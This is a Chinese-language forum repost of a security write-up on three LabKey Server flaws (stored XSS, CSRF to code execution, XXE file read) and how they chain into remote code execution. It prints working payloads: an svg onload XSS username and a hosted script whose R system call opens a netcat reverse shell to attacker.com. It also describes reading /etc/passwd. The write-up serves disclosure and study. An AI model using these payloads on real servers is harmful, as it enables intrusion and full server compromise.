搜索

[28452] 2020-07-28_LabKeyServer平台多个漏洞利用

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-07-28_LabKeyServer平台多个漏洞利用 L a b K e y   S e r v e r   平 台 多 个 漏 洞 利 用 O t s 安 全   2 0 2 0 - 0 7 - 2 8 L a b K e y   S e r v e r 中 发 现 的 三 个 不 同 漏 洞 完 整 演 练 - 存 储 X S S （ C V E - 2 0 1 9 - 9 7 5 8   ） ， 导 致 R C E 的 C S R F （ C V E - 2 0 1 9 - 9 9 2 6   ） 和 X X E （ C V E - 2 0 1 9 -   9 7 5 7   ） 允 许 读 取 任 意 文 件 。 通 过 结 合 X S S 和 C S R F 漏 洞 ， 可 以 利 用 应 用 程 序 的 预 期 功 能 ， 然 后 在 托 管 L a b K e y 服 务 器 的 服 务 器 上 获 得 远 程 代 码 执 行 。 L a b K e y 服 务 器 服 务 器 L a b K e y   S e r v e r   “ 是 一 个 开 放 源 代 码 软 件 平 台 ， 旨 在 帮 助 研 究 组 织 集 成 ， 分 析 和 共 享 复 杂 的 生 物 医 学 数 据 ” 。 它 允 许 存 储 ， 共 享 和 处 理 生 物 医 学 数 据 ， 同 时 还 允 许 用 户 基 于 数 据 生 成 报 告 。 存 储 型 存 储 型 X S S ： ： C V E - 2 0 1 9 - 9 7 5 8 我 们 在 应 用 程 序 中 发 现 的 跨 站 点 脚 本 漏 洞 相 当 简 单 。 将 任 何 用 户 的 用 户 名 更 改 为 X S S 负 载 将 导 致 负 载 在 管 理 员 门 户 的 各 种 下 拉 菜 单 中 执 行 。   以 下 屏 幕 截 图 显 示 了 将 基 本 用 户 的 用 户 名 设 置 为 以 下 值 的 结 果 ： < s v g   o n l o a d = a l e r t ( 1 ) > 当 管 理 员 在 “ 从 用 户 克 隆 权 限 ” 菜 单 中 触 发 自 动 查 找 时 ， X S S 将 在 管 理 员 上 执 行 。 该 问 题 要 注 意 的 重 要 一 点 是 ， 它 在 应 用 程 序 的 管 理 门 户 中 执 行 ， 从 而 允 许 基 本 的 低 级 别 用 户 定 位 到 应 用 程 序 的 管 理 员 。 这 也 意 味 着 它 将 允 许 低 级 别 的 用 户 使 用 导 致 R C E 的 X S S 触 发 代 码 执 行 ， 这 将 在 后 面 的 文 章 中 进 行 演 示 。 C S R F ： ： C V E - 2 0 1 9 - 9 9 2 6 L a b K e y   S e r v e r 能 够 使 用 R 脚 本 （ 以 及 其 他 脚 本 语 言 ） 来 使 用 不 同 的 数 据 构 建 自 定 义 报 告 。 允 许 运 行 脚 本 的 大 多 数 功 能 都 阻 止 了 C S R F 。   但 是 ， 我 们 发 现 ， 通 过 将 P O S T 请 求 之 一 修 改 为 G E T 请 求 ， 并 将 某 些 参 数 移 至 U R L 查 询 字 符 串 ， 可 以 在 针 对 管 理 员 时 执 行 任 意 代 码 。
下 图 显 示 了 单 击 “ 报 告 ” 选 项 卡 以 查 看 报 告 时 发 送 的 初 始 请 求 。 这 将 执 行 R 脚 本 来 处 理 数 据 并 生 成 报 告 。 发 送 上 面 没 有 包 含 C S R F 令 牌 的 请 求 会 导 致 以 下 错 误 。 下 图 显 示 了 将 请 求 修 改 为 G E T 并 将 某 些 参 数 移 至 查 询 字 符 串 的 过 程 ， 从 而 使 请 求 成 功 。 这 导 致 在 服 务 器 上 执 行 命 令 “   c a t   /   e t c   /   p a s s w d ” ， 如 下 所 示 。
X X E ： ： C V E - 2 0 1 9 - 9 7 5 7 应 用 程 序 为 它 处 理 的 数 据 生 成 的 报 告 是 通 过 生 成 S V G 图 像 来 显 示 数 据 图 而 创 建 的 。 S V G 数 据 也 可 以 在 应 用 程 序 中 转 换 为 P N G 或 P D F 。 这 是 通 过 将 用 户 控 制 的 X M L 传 递 到 A p a c h e   B a t i k 库 来 完 成 的 ， 该 库 已 经 过 时 并 且 容 易 受 到 X X E 的 攻 击 ， 该 漏 洞 以 前 被 报 告 为 C V E - 2 0 1 5 - 0 2 5 0 。   渲 染 任 意 服 务 器 文 件 内 容 渲 染 任 意 服 务 器 文 件 内 容 此 配 置 允 许 发 送 包 含 外 部 实 体 的 X M L 数 据 ， 从 而 可 以 将 任 意 服 务 器 文 件 的 内 容 呈 现 到 生 成 的 P D F 中 。 在 将 S V G 转 换 为 P D F 时 ， 可 以 在 下 图 中 看 到 “   /   e t c   /   p a s s w d ” 的 内 容 已 渲 染 为 P D F 。 链 接 漏 洞 以 实 现 R C E 现 在 可 以 利 用 X S S 执 行 J a v a S c r i p t 有 效 负 载 ， 这 将 迫 使 管 理 员 使 用 应 用 程 序 的 预 期 功 能 运 行 任 意 R 脚 本 。 由 于 还 存 在 影 响 该 端 点 的 C S R F ， 因 此 可 以 将 有 效 负 载 简 化 为 同 时 使 用 X S S 和 C S R F 执 行 代 码 。   执 行 有 效 载 荷 此 处 ， 使 用 R 脚 本 进 行 了 简 单 的 “ 系 统 ” 调 用 ， 以 使 用 N e t c a t 执 行 反 向 S h e l l 。
托 管 文 件 x s s . j s ， 其 中 包 含 ： v a r   x s s   =   d o c u m e n t   。 c r e a t e E l e m e n t   （ ' i m g '   ） ; x s s   。 s r c   =   “   h t t p ： / /   l o c a l h o s t ： 8 0 8 0   /   l a b k e y   /   r e p o r t s - v i e w S c r i p t R e p o r t . v i e w ？ r e p o r t T y p e   =   R e p o r t S e r v i c e . r R e p o r t ＆ s c r i p t   =   s y s t e m （ ' /   b i n   /   n c   - e   /   b i n   /   s h   A t t a c k e r . c o m   8 9 9 9 ' ） ”   ； 然 后 ， 使 用 X S S 漏 洞 通 过 将 用 户 名 更 改 为 以 下 内 容 来 执 行 有 效 负 载 ： < s v g / o n l o a d = j Q u e r y . g e t S c r i p t ( ‘ h t t p : / / a t t a c k e r . c o m / x s s . j s ’ ) > 可 以 在 以 下 G I F 中 看 到 P o C 。 结 论 结 论 这 些 问 题 说 明 了 如 何 将 通 常 影 响 较 小 的 漏 洞 链 接 在 一 起 ， 从 而 对 应 用 程 序 产 生 严 重 影 响 。 当 应 用 程 序 提 供 强 大 的 功 能 （ 例 如 能 够 执 行 命 令 ， 脚 本 或 任 何 其 他 敏 感 的 管 理 功 能 ） 时 ， 特 别 要 注 意 围 绕 该 应 用 程 序 部 分 的 安 全 性 细 节 ， 这 一 点 非 常 重 要 。  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理